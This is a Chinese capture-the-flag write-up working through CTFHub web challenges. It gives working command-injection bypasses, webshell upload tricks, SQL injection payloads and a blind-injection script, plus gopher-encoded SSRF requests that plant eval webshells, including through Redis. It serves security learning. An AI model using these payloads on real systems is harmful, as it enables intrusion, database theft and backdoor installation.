CTFHUB-WEB

----------HTTP协议----------

题目:请求方式

思路一
CTFHUB-WEB_第1张图片
我们知道http请求方式中没有CTFB方式,就想到CTFHUB
使用BP抓包,将原来的数据包请求方式GET改成CTFHUBCTFHUB-WEB_第2张图片
点击Forward,放包。得到flag.
积累

HTTP协议的八种请求方式

1、OPTIONS
返回服务器针对特定资源所支持的HTTP请求方法,也可以利用向web服务器发送‘*’的请求来测试服务器的功能性
2、HEAD
向服务器索要与GET请求相一致的响应,只不过响应体将不会被返回。这一方法可以再不必传输整个响应内容的情况下,就可以获取包含在响应消息头中的元信息。
3、GET
向特定的资源发出请求。注意:GET方法不应当被用于产生“副作用”的操作中,例如在Web Application中,其中一个原因是GET可能会被网络蜘蛛等随意访问。Loadrunner中对应get请求函数:web_link和web_url
4、POST
向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。 Loadrunner中对应POST请求函数:web_submit_data,web_submit_form
5、PUT
向指定资源位置上传其最新内容
6、DELETE
请求服务器删除Request-URL所标识的资源
7、TRACE
回显服务器收到的请求,主要用于测试或诊断
8、CONNECT
HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。

思路二

可以用cmd自带命令curl查看http的返回消息
在这里插入图片描述
相当于返回服务器返回所有信息,包含html源码,其中包含flag
CTFHUB-WEB_第3张图片
解析
curl -v(获取整个通信过程)
curl -X url(使用特定方法请求网页文本)
因为HTTP Method 是可以自定义的,并且区分大小写,直接用 CTFHUB 方法请求 index.php 即可拿到 flag。

curl使用方法


http://www.ruanyifeng.com/blog/2019/09/curl-reference.html

题目:302跳转

思路一
CTFHUB-WEB_第4张图片
点击Give me Flag
CTFHUB-WEB_第5张图片
查看源码 发现Give me Flag页面重定向到index.php
CTFHUB-WEB_第6张图片
可以通过curl直接访问index.php得到flag

思路二
抓包发到Repeater模块

301和302


302
302表示临时性重定向,访问一个url,被重定向到另一个url.
搜索引擎会抓取新的内容而保留旧的地址,因为服务器返回302,所以,搜索搜索引擎认为新的网址是暂时的。
302常用于页面跳转,比如未登陆的用户访问用户中心,则重定向到登录页面,访问404页面会重新定向到首页
301
适合永久重定向,比较常用的场景是使用域名跳转
搜索引擎在抓取新的内容的同时也将旧的网址替换为了重定向之后的网址
比如,我们访问 http://www.baidu.com 会跳转到 https://www.baidu.com,发送请求之后,就会返回301状态码,然后返回一个location,提示新的地址,浏览器就会拿着这个新的地址去访问。
注意: 301请求是可以缓存的, 即通过看status code,可以发现后面写着from cache。或者你把你的网页的名称从php修改为了html,这个过程中,也会发生永久重定向

题目:Cookie


Cookie,有时也用其复数形式 Cookies。类型为“小型文本文件”,是某些网站为了辨别用户身份,进行Session跟踪而储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息

CTFHUB-WEB_第7张图片
发送到repeater将admin改为1
CTFHUB-WEB_第8张图片
再点GO,得到flag

题目:基础认证


CTFHUB-WEB_第9张图片
先任意admin/admin输入
CTFHUB-WEB_第10张图片
CTFHUB-WEB_第11张图片
Basic表示基础认证,大概率为Base64编码

CTFHUB-WEB_第12张图片
把报文发送到Intruder,点击add,将basic后面的base64部分加上$
CTFHUB-WEB_第13张图片
加载字典
添加前缀admin 和添加base64编码
CTFHUB-WEB_第14张图片
CTFHUB-WEB_第15张图片
取消url编码勾选,不然=会变成%3d
CTFHUB-WEB_第16张图片
爆破之后会发现长度不一样的,点击查看response,拿到flag

字典真的要下好一点的

题目:响应包源代码

进入界面是一个贪吃蛇
先玩一把感受一下
之后查看源码找到flag
CTFHUB-WEB_第17张图片
当然抓包也可以
或者用curl -v -X GET来得到

反思
没有基础
知识太少
希望可以一点点的坚持积累去进步
加油

----------RCE注入----------


----------RCE注入----------

CTFHUB-WEB_第18张图片
可以看见这里没有任何限制条件,也就是说我们可以在这里模拟我们自己的Linux系统的命令行操作。
输入 |ls
CTFHUB-WEB_第19张图片
?ip

过滤cat

CTFHUB-WEB_第20张图片
很明显,这里过滤掉了cat关键字。这时候有如下几总方式可以替换cat

cat 由第一行开始显示内容,并将所有内容输出

tac 从最后一行倒序显示内容,并将所有内容输出

more 根据窗口大小,一页一页的显示文件内容

less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head 只显示头几行

tail 只显示最后几行

nl 类似于cat -n,显示时输出行号

tailf 类似于tail -f

先|ls查看目录

发现存在flag_313911065126325.php
CTFHUB-WEB_第21张图片
?ip

过滤空格

CTFHUB-WEB_第22张图片
空格过滤掉,我们得想办法用其它符号代替空格即可

使用IFS$9%09<><>{,}%20、${IFS}、${IFS}来代替空格

先 |ls查看目录
CTFHUB-WEB_第23张图片
?ip=|cat${IFS}flag_58872678825836.php
CTFHUB-WEB_第24张图片

过滤目录分隔符

CTFHUB-WEB_第25张图片
这里过滤掉 “” 和 “/”
我们可以用;ls查看目录
CTFHUB-WEB_第26张图片
进入flag_is_here 再次查看目录
?ip

过滤运算符

CTFHUB-WEB_第27张图片
这里过滤掉了 | & 运算符 直接用 ; 代替即可

CTFHUB-WEB_第28张图片
?ip=;cat flag_37062833024962.php

CTFHUB-WEB_第29张图片

综合过滤练习

方法一
CTFHUB-WEB_第30张图片
代码审计,过滤内容如下
| & ; 空格 / cat flag ctfhub

由于|&;都被过滤了,因此只能用%0a 作为分隔符
需要注意:由于%0a是url编码,所以需要在URL中使用,否则将被二次编码
?ip=%0als
CTFHUB-WEB_第31张图片
用%09代替空格,用连接符‘’绕过对关键词cat,flag的过滤
构造?ip=%0acd%09fl’‘ag_is_here%0als
CTFHUB-WEB_第32张图片
?ip=%0acd%09fl’‘ag_is_here%0aca’‘t%09fl’'ag_166362287218721.php
CTFHUB-WEB_第33张图片
方法二
flag可以用${IFS}fl$*ag_id_here这样替代。

%0als${IFS}fl$*ag_is_here
%0acd${IFS}fl$*ag_is_here%0aca''t${IFS}fl$*ag_166362287218721.php

eval执行

方法一
CTFHUB-WEB_第34张图片
代码显示将命令赋值给cmd然后执行
?cmd=system(“ls …/…/…/”);
在这里插入图片描述
?cmd=system(“cat …/…/…/flag_30631”);
在这里插入图片描述

方法二:
可以执行?cmd=system(‘ls’);查看当前目录。
因为没有对输入进行过滤,直接连接菜刀。
在根目录发现flag文件,获得flag

文件包含

CTFHUB-WEB_第35张图片
点击shell,出现如下界面

在这里插入图片描述
构造payload,往ctfhub里传参。先查看当前目录下的文件ls
这里要用单引号

CTFHUB-WEB_第36张图片
发现没有flag相关文件,查看上一级文件ls /
CTFHUB-WEB_第37张图片
发现flag信息,打开flag文件,获得flag
CTFHUB-WEB_第38张图片

当然也可以连接一剑,密码是ctfhub

php://input

CTFHUB-WEB_第39张图片
代码审计:接收一个参数file,substr的作用是返回字串。为了能够执行include语句,file参数前6位必须是php

远程包含

CTFHUB-WEB_第40张图片
查看PHPinfo文件,发现可以使用php://input
构造payload,使用?file=php://input
POST里传参:
发现存放flag的文件
然后再打开文件

当然也可以参照pikachu远程包含的做法

读取源代码

CTFHUB-WEB_第41张图片
发现不管用
先了解一个知识
CTFHUB-WEB_第42张图片
使用filter将源码通过base64回显。
Payload:

http://URL/?file=php://filter/read=convert.base64-encode/resource=../../../flag

CTFHUB-WEB_第43张图片

CTFHUB-WEB_第44张图片

----------文件上传----------

无验证

先搞一个一句话木马
因为这里是无验证,所以直接上传php
CTFHUB-WEB_第45张图片
连接蚁剑
CTFHUB-WEB_第46张图片
CTFHUB-WEB_第47张图片

前端验证

CTFHUB-WEB_第48张图片
只能上传图片
所以上传图片抓包
CTFHUB-WEB_第49张图片
把jpg改为php
CTFHUB-WEB_第50张图片
再连接就好

文件头检查

法一:
上传一句话木马jpg格式
CTFHUB-WEB_第51张图片
然后我上传一张图片png
CTFHUB-WEB_第52张图片
CTFHUB-WEB_第53张图片
把除了文件头其他的图片内容全删了,然后添加一句话木马,然后改.png为.phpCTFHUB-WEB_第54张图片
CTFHUB-WEB_第55张图片
注意那个红色的PNG不能删了
不然文件头检查就过不了
连接就好了

法二:
开始,上传一个.php后缀的文件,提交,alert()弹出一个窗口,只允许jpg,png,gif后缀提交,然后burpsuite抓包,把Content

MIME验证

方法一:
上传php
CTFHUB-WEB_第56张图片
改成jpg
CTFHUB-WEB_第57张图片
抓包修改
CTFHUB-WEB_第58张图片
连接

方法二:
也可以上传.PHP文件然后修改content-cype
在这里插入图片描述
改成image/jpeg,然后发送,在使用蚁剑连接

00截断

上传jpg
CTFHUB-WEB_第59张图片
没有出现上传文件的路径地址。
url地址栏出现了?road=/var/www/htm/ 没有返回文件的路径地址,多半是有临时文件名的存在,这就需要00截断,00截断的主要目的就是为了得到上传文件的路径地址,从而可以用蚁剑连接。

if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $info = pathinfo($name);
    $ext = $info['extension'];                //首先取到上传文件的扩展名$ext
    $whitelist = array("jpg", "png", "gif");   //将扩展名与白名单进行匹配,为jpg、png或gif才能通过第一次过滤
    if (in_array($ext, $whitelist)) {
        $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;   //扩展名匹配之后,为上传的文件构造了一个新的存储路径$des
        if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
            echo "";
        } else {
            echo "";
        }
    } else {
        echo "文件类型不匹配";
    }
}

move_uploaded_file
这个函数就是把上传文件放到d e s 的 路 径 上 并 且 改 了 文 件 名 , 而 des的路径上并且改了文件名,而des中的随机数,当前时间等无法确定,那么,在$_GET[‘road’]后面进行00截断payload:POST /?road=/var/www/html/upload/999.php%00 HTTP/1.1重新上传,这样,上传文件就被保存到了upload/999.php下。
999.jpg不要改 不然会显示文件类型不对
CTFHUB-WEB_第60张图片
直接去连接就可以了

双写后缀

我上传一个1.php%00.jpg
CTFHUB-WEB_第61张图片
发现把php给搞没了
上传1.php.php%00.jpg
CTFHUB-WEB_第62张图片
php 双写后缀后 pphph
于是我们用1.pphphp来绕过
CTFHUB-WEB_第63张图片
然后去连接就行了
下面我们看一下源码
CTFHUB-WEB_第64张图片
str_ireplace() 函数替换字符串中的一些字符(不区分大小写)
这道题会对上传文件的后缀进行检测,如果是array数组中的后缀,则会替换为空。

htaccess

htaccess文件是什么
htaccess文件是Apache服务器中的一个配置文件,他负责相关目录下的网页配置。通过htaccess文件,可以帮助我们实现:网页301重定向,自定义404错误页面,改变文件扩展名,允许或组织特定的用户或者,目录的访问,禁止目录列表,配置默认文档等功能。

法一
根据htaccess文件的特性,这道题可以重写文件的解析规则进行绕过。先上传一个名为.htaccess文件,将原有的文件替换掉。其内容如下:
CTFHUB-WEB_第65张图片
意思是将文件名中带有 3 的文件当作php文件解析。
CTFHUB-WEB_第66张图片
然后上传一句话,文件名为 3.jpg ,之后会上传成功。
http://challenge-ca10a6f74c692568.sandbox.ctfhub.com:10080/upload/3.jpg
我的蚁剑搞这个的时候出现了问题,就到这里吧

法二:
据htaccess文件的特性,这道题可以重写文件的解析规则进行绕过。先上传一个名为.htaccess文件,将原有的文件替换掉。其内容如下:
AddType application/x-httpd-php .jpg
CTFHUB-WEB_第67张图片
上传 htacces文件 (将.jpg后缀的文件当作php文件解析)
CTFHUB-WEB_第68张图片
去连接就行了

----------SQL注入----------

关键字/语句/函数 解释
union select 联合查询,联合注入常用
database() 回显当前连接的数据库
version() 查看当前sql的版本如:mysql 1.2.3, mariadb-4.5.6
group_concat() 把产生的同一分组中的值用,连接,形成一个字符串
information_schema 存了很多mysql信息的数据库
information_schema.schemata information_schema库的一个表,名为schemata
schema_name schemata表中存储mysql所有数据库名字的字段
information_schema.tables 存了mysql所有的表
table_schema tables表中存每个表对应的数据库名的字段
table_name 表的名字和table_schema一一对应
information_schema.columns columns表存了所有的列的信息4
column_name 当你知道一个表的名字时,可通过次字段获得表中的所有字段名(列名)
table_name 表的名字和column_name一一对应
select updatexml(1,concat(0x7e,database(),0x7e),1); 这里注意,只在databse()处改你想要的内容即可报错回显
right(str, num) 字符串从右开始截取num个字符
left(str,num) 同理:字符串从左开始截取num个字符
substr(str,N,M) 字符串,从第N个字符开始,截取M个字符

整数型注入

1.输个1,回显有两列。
CTFHUB-WEB_第69张图片
2.判断列数
1 order by 1,2,3
在这里插入图片描述

1 order by 1,2
CTFHUB-WEB_第70张图片

3.报当前的数据库,发现数据库为sqli,为什么是-1,id要等于不存在的一个数字.
-1 union select 3,database()
CTFHUB-WEB_第71张图片
4.报所有的数据库
-1 union select 3,group_concat(schema_name) from information_schema.schemata
CTFHUB-WEB_第72张图片
5.根据报出的数据库,报表名字
-1 union select 3,group_concat(table_name) from information_schema.tables where table_schema=“sqli”
CTFHUB-WEB_第73张图片
6…知道了表flag,去报字段,报出flag的字段。
-1 union select 3,group_concat(column_name) from information_schema.columns where table_name=“flag”
CTFHUB-WEB_第74张图片
7.当报出字段,可以直接查询数据。
-1 union select 3,group_concat(flag) from sqli.flag
在这里插入图片描述

字符型注入

1.输个1
CTFHUB-WEB_第75张图片
发现sql语句数字中我们输入的1被单引号包裹,字符型注入跟数字型注入的区别就在于引号的闭合
id=1’ and ‘1’=‘1 正常回显
id=1’ and ‘1’=‘2 返回错误
我们可以用#闭注释掉单引号,输入1’ and 1=1#,正常回显
2.判断列数
1’ order by 3#
在这里插入图片描述
1’ order by 2#
CTFHUB-WEB_第76张图片
3.报当前的数据库
-1’ union select 3,database()#
CTFHUB-WEB_第77张图片
4.报当前所有的数据库
-1’ union select 3,group_concat(schema_name) from information_schema.schemata#
CTFHUB-WEB_第78张图片
5.报表名
-1’ union select 3,group_concat(table_name) from information_schema.tables where table_schema=“sqli”#
CTFHUB-WEB_第79张图片
6.字段名
-1’ union select 3,group_concat(column_name) from information_schema.columns where table_name=“flag”#
CTFHUB-WEB_第80张图片
7.查询数据
-1’ union select 3, group_concat(flag) from sqli.flag#
CTFHUB-WEB_第81张图片

报错注入

百度了一下报错注入,报错注入是我们通过反馈出来的错误来获取到我们所需要的信息,发现一共有十种报错注入最常用到的三种报错注入方式分别是:updatexml()、floor()、extractvalue()。

updatexml()语法:

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值

updatexml的报错原理:
updatexml第二个参数需要的是Xpath格式的字符串,但是我们第二个参数很明显不是,而是我们想要获得的数据,所以会报错,并且在报错的时候会将其内容显示出来,从而获得我们想要的数据。

使用updatexml报错注入固定格式:

payload:?id=a'and(updatexml("anything",concat('~',(select语句())'~'),"anything"))

concat()函数将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出想要的数据

输个1
CTFHUB-WEB_第82张图片

Payload: ?id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

CTFHUB-WEB_第83张图片
查数据库

1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1));

在这里插入图片描述

查表

1 and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="sqli"),0x7e),1));

在这里插入图片描述
字段
1 and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=“flag”),0x7e),1));
CTFHUB-WEB_第84张图片
直接查数据
1 and (updatexml(1,concat(0x7e,(select group_concat(flag) from sqli.flag),0x7e),1));
就出来了

MySQL结构

1.判断注入类型
输入1,有回显;输入1 and 1=1,正常回显;输入1 and 1=2, 返回错误。
CTFHUB-WEB_第85张图片
所以是数字型注入
2.判断回显点位
输入1 order by 2有回显
CTFHUB-WEB_第86张图片
-1 union select 1,2
CTFHUB-WEB_第87张图片
回显点位为1,2
3.查数据库名
-1 union select database(),2
CTFHUB-WEB_第88张图片
4.查表
-1 union select group_concat(table_name),2 from information_schema.tables where table_schema=“sqli”
CTFHUB-WEB_第89张图片
5.查字段名
-1 union select group_concat(column_name),2 from information_schema.columns where table_name=“gunqeizaat”
CTFHUB-WEB_第90张图片

6.爆值

过滤空格

绕过空格过滤的方式: /**/、()、%0a。
我们这里就用/**/

1/**/order/**/by/**/2

CTFHUB-WEB_第91张图片
判断回显位

1/**/union/**/select/**/1,2

CTFHUB-WEB_第92张图片
查数据库:

-1/**/union/**/select/**/database(),2

CTFHUB-WEB_第93张图片
查表:

Cookie注入

CTFHUB-WEB_第94张图片
burpsuite抓包,可以看到Cookie里面有id参数
CTFHUB-WEB_第95张图片

1.判断注入类型
id=1
CTFHUB-WEB_第96张图片

数字型
2.判断字段数
当id=1 order by 2 时回显正常,当id=1 order by 3时无回显,所以字段数为2
3.爆数据库名
id=-1 union select 1,database()
![在这里插入图片描述](https://img-blog.csdnimg.cn/2021020320465779.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUxNTU4MzYw,size_16,color_FFFFFF,t_70
4.爆表名
id=-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=“sqli”
CTFHUB-WEB_第97张图片
5.爆字段名
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=“dnsehhpdvg”
CTFHUB-WEB_第98张图片
6.爆值
id=-1 union select 1,group_concat(cdciinqukz) from dnsehhpdvg
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KforYPxU-1612423099536)(https://img-blog.csdni首先检测是否有cookie注入mg.cn/2021020320531811.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUxNTU4MzYw,size_16,color_FFFFFF,t_70)]
sqlmap
在sqlmap中使用cookie注入,level >=2才行

首先检测是否有cookie注入
sqlmap.py -u “http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080” --cookie “id=1” --level 2
存在Cookie注入
CTFHUB-WEB_第99张图片
1.查库
sqlmap.py -u “http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080” --cookie “id=1” --level 2 --dbs
CTFHUB-WEB_第100张图片
2.查表
sqlmap.py -u “http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080” --cookie “id=1” -D sqli --tables
CTFHUB-WEB_第101张图片
3.查字段
sqlmap.py -u “http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080” --cookie “id=1” --level 2 -D sqli -T usrnjffgta --columns
CTFHUB-WEB_第102张图片
4.爆值
sqlmap.py -u “http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080” --cookie “id=1” --level 2 -D sqli -T usrnjffgta -C wbloxpuwcu --dump
CTFHUB-WEB_第103张图片

UA注入

CTFHUB-WEB_第104张图片
CTFHUB-WEB_第105张图片
语句和上面一样
sqlmap
在sqlmap中lever>=3才会去检查user-agent头是否存在注入漏洞
sqlmap.py -u “http://challenge-532573947dea4d7b.sandbox.ctfhub.com:10080” --user-agent “id=1” --level 3
1.爆数据库
sqlmap.py -u “http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080” --user-agent “id=1” --level 3 --dbs
CTFHUB-WEB_第106张图片
2.爆表
sqlmap.py -u “http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080” --user-agent “id=1” --level 3 -D sqli --tables
CTFHUB-WEB_第107张图片
3.爆字段
sqlmap.py -u “http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080” --user-agent “id=1” --level 3 -D sqli -T llvyiyrndd --columns
4.爆值
sqlmap.py -u “http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080” --user-agent “id=1” --level 3 -D sqli -T llvyiyrndd -C mgrbaiuvpa --dump
在这里插入图片描述

Refer注入

CTFHUB-WEB_第108张图片
补充Referer头
CTFHUB-WEB_第109张图片
后面和上面一样

sqlmap
伪造http请求中的referer,level>=3时,sqlmap尝试referer注入
首先检测是否有Refer注入
sqlmap.py -u “http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/” --referer “id=1” --level 3
CTFHUB-WEB_第110张图片
1.爆数据库
sqlmap.py -u “http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/” --referer “id=1” --level 3 --dbs
CTFHUB-WEB_第111张图片
2.爆表
sqlmap.py -u “http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/” --referer “id=1” --level 3 -D sqli --tables
CTFHUB-WEB_第112张图片
3.爆字段
sqlmap.py -u “http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/” --referer “id=1” --level 3 -D sqli -T scghlrqxyi --columns
CTFHUB-WEB_第113张图片
4.爆值
sqlmap.py -u “http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/” --referer “id=1” --level 3 -D sqli -T scghlrqxyi -C vzbmlruwwt --dump
CTFHUB-WEB_第114张图片

布尔盲注

盲注的一般步骤:
CTFHUB-WEB_第115张图片
CTFHUB-WEB_第116张图片
CTFHUB-WEB_第117张图片
CTFHUB-WEB_第118张图片
CTFHUB-WEB_第119张图片
确定闭合方式:1

获取数据库名:sqlmap.py -u 环境链接 –dbs

时间盲注

和上面一题类似

脚本:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import requests
import sys
import time

session=requests.session()
url = "http://challenge-e53e5a329b0199fa.sandbox.ctfhub.com:10080/?id="
name = ""

for k in range(1,10):
	for i in range(1,10):
		print(i)
		for j in range(31,128):
			j = (128+31) -j
			str_ascii=chr(j)
			#数据库名
			payolad = "if(substr(database(),%s,1) = '%s',sleep(1),1)"%(str(i),str(str_ascii))
			#表名
			#payolad = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',sleep(1),1)" %(k,i,str(str_ascii))
			#字段名
			#payolad = "if(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='sqli'),%d,1) = '%s',sleep(1),1)" %(i,str(str_ascii))
			start_time=time.time()
			str_get = session.get(url=url + payolad)
			end_time = time.time()
			t = end_time - start_time
			if t > 1:
				if str_ascii == "+":
					sys.exit()
				else:
					name+=str_ascii
					break
		print(name)

#查询字段内容
for i in range(1,50):
	print(i)
	for j in range(31,128):
		j = (128+31) -j
		str_ascii=chr(j)
		payolad = "if(substr((select flag from sqli.flag),%d,1) = '%s',sleep(1),1)" %(i,str_ascii)
		start_time = time.time()
		str_get = session.get(url=url + payolad)
		end_time = time.time()
		t = end_time - start_time
		if t > 1:
			if str_ascii == "+":
				sys.exit()
			else:
				name += str_ascii
				break
	print(name)

----------SSRF----------

内网访问

CTFHUB-WEB_第120张图片
?url

伪协议读取文件

CTFHUB-WEB_第121张图片
根据题目的意思我们需要使用URL的伪协议去读取文件,那么我们首先要了解URL的伪协议。
URL伪协议有如下这些:

file:///
dict

端口扫描

在这里插入图片描述
dict协议可以用来探测开放的端口
构造payload dict://127.0.0.1:端口号
利用burpsuite进行爆破
CTFHUB-WEB_第122张图片
CTFHUB-WEB_第123张图片
然后访问就行

URL Bypass

了解:如果传入的URL为http://[email protected]:[email protected],那么进入 safe_request_url后,parse_url 取到的host其实是baidu.com,而curl取到的是127.0.0.1:80,所以检测IP时是正常的一个网站域名而实际curl请求时却构造的127.0.0.1,以此实现SSRF攻击。

在这里插入图片描述

因此这个题目要求url must startwith “http://notfound.ctfhub.com”
我们直接构造?url=http://[email protected]/flag.php
成功得到flag。

数字IP Bypass

在这里插入图片描述

进入环境,尝试访问?url=127.0.0.1/flag.php
CTFHUB-WEB_第124张图片
因此尝试将ip地址转换为进制的方式进行绕过,127.0.0.1转换为16进制是0x7F000001,这样就可以成功得到flag

302跳转 Bypass

在这里插入图片描述

题目出现问题,等修改好了再说

DNS重绑定 Bypass

题目出了问题,等修改好了再说

POST请求

在这里插入图片描述
我们进入之后可以试试flag.php,果然存在flag.php,不过需要从127.0.0.1进行访问。我们访问一下:
CTFHUB-WEB_第125张图片
查看源码
CTFHUB-WEB_第126张图片

查看302.php,发现了可以构造url用302跳转。
CTFHUB-WEB_第127张图片
这题需要用gopher协议通过302.php的跳转去post key到flag.php,不过需要注意的是要从127.0.0.1发送数据。
首先构造一个最基本的post请求:

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36   #特别注意此处的长度,长度不对也是不行的

key=2ddf50f048c2728241fc9c1a6a2d0eac  #key需要去通过127.0.0.1访问flag.php获取,也就是flag的MD5值。

首先进行一次url编码,将换行%0A改成%0D%0A

POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3D1de171b79f0bc7caabdd7ba6fee00c56

然后再进行2次URL编码,也就是说一共要进行三次URL编码,最后为:

POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D1de171b79f0bc7caabdd7ba6fee00c56

最后使用gopher协议请求即可

?url=127.0.0.1/302.php?url=gopher://127.0.0.1:80/_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D1de171b79f0bc7caabdd7ba6fee00c56

CTFHUB-WEB_第128张图片

上传文件

提示:这次需要上传一个文件到flag.php了.我准备了个302.php可能会有用.祝你好运
使用file伪协议读取到源码?url=file:///var/www/html/flag.php
CTFHUB-WEB_第129张图片
CTFHUB-WEB_第130张图片
发现没有提交,所以要在前端添加提交
右键 edit as html 来写
CTFHUB-WEB_第131张图片
上传一个非空文件,这里我们上传了一个php
CTFHUB-WEB_第132张图片

url编码一次,把%0A换成%0D%0A,然后再url编码两次:

/?url=127.0.0.1/302.php?url=gopher://127.0.0.1:80/_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Length%25253A%252520328%25250D%25250ACache-Control%25253A%252520max-age%25253D0%25250D%25250AUpgrade-Insecure-Requests%25253A%2525201%25250D%25250AOrigin%25253A%252520http%25253A%25252F%25252Fchallenge-01037cbf4c653e93.sandbox.ctfhub.com%25253A10080%25250D%25250AContent-Type%25253A%252520multipart%25252Fform-data%25253B%252520boundary%25253D----WebKitFormBoundaryE3ar268swYQeTYZs%25250D%25250AUser-Agent%25253A%252520Mozilla%25252F5.0%252520(Windows%252520NT%25252010.0%25253B%252520Win64%25253B%252520x64)%252520AppleWebKit%25252F537.36%252520(KHTML%25252C%252520like%252520Gecko)%252520Chrome%25252F85.0.4183.102%252520Safari%25252F537.36%25250D%25250AAccept%25253A%252520text%25252Fhtml%25252Capplication%25252Fxhtml%25252Bxml%25252Capplication%25252Fxml%25253Bq%25253D0.9%25252Cimage%25252Favif%25252Cimage%25252Fwebp%25252Cimage%25252Fapng%25252C*%25252F*%25253Bq%25253D0.8%25252Capplication%25252Fsigned-exchange%25253Bv%25253Db3%25253Bq%25253D0.9%25250D%25250AReferer%25253A%252520http%25253A%25252F%25252Fchallenge-01037cbf4c653e93.sandbox.ctfhub.com%25253A10080%25252F%25253Furl%25253D127.0.0.1%25252Fflag.php%25250D%25250AAccept-Encoding%25253A%252520gzip%25252C%252520deflate%25250D%25250AAccept-Language%25253A%252520zh-CN%25252Czh%25253Bq%25253D0.9%25252Cen-US%25253Bq%25253D0.8%25252Cen%25253Bq%25253D0.7%25250D%25250AConnection%25253A%252520close%25250D%25250A%25250D%25250A------WebKitFormBoundaryE3ar268swYQeTYZs%25250D%25250AContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522file%252522%25253B%252520filename%25253D%252522XiaoMa.php%252522%25250D%25250AContent-Type%25253A%252520application%25252Foctet-stream%25250D%25250A%25250D%25250A%25253C%25253Fphp%25250D%25250A%252540eval(%252524_POST%25255B'feng'%25255D)%25253B%25253F%25253E%25250D%25250A------WebKitFormBoundaryE3ar268swYQeTYZs%25250D%25250AContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522submit%252522%25250D%25250A%25250D%25250A%2525E6%25258F%252590%2525E4%2525BA%2525A4%25250D%25250A------WebKitFormBoundaryE3ar268swYQeTYZs--%25250D%25250A

CTFHUB-WEB_第133张图片

FastCGI协议

CTFHUB-WEB_第134张图片

Redis协议

首先我们需要了解关于Redis的相关知识:
Redis 配置详解
浅析Redis中SSRF的利用
Redis在SSRF中的应用
在这里插入图片描述
这题不是用shell反弹,而是写文件,然后进行命令执行。因此redis命令如下:

flushall
set 1 ''
config set dir /var/www/html
config set dbfilename feng.php
save

需要再经过一次url加密,这样才行。最终我的是这样:

/?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_GET%255B%2522feng%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25248%250D%250Afeng.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

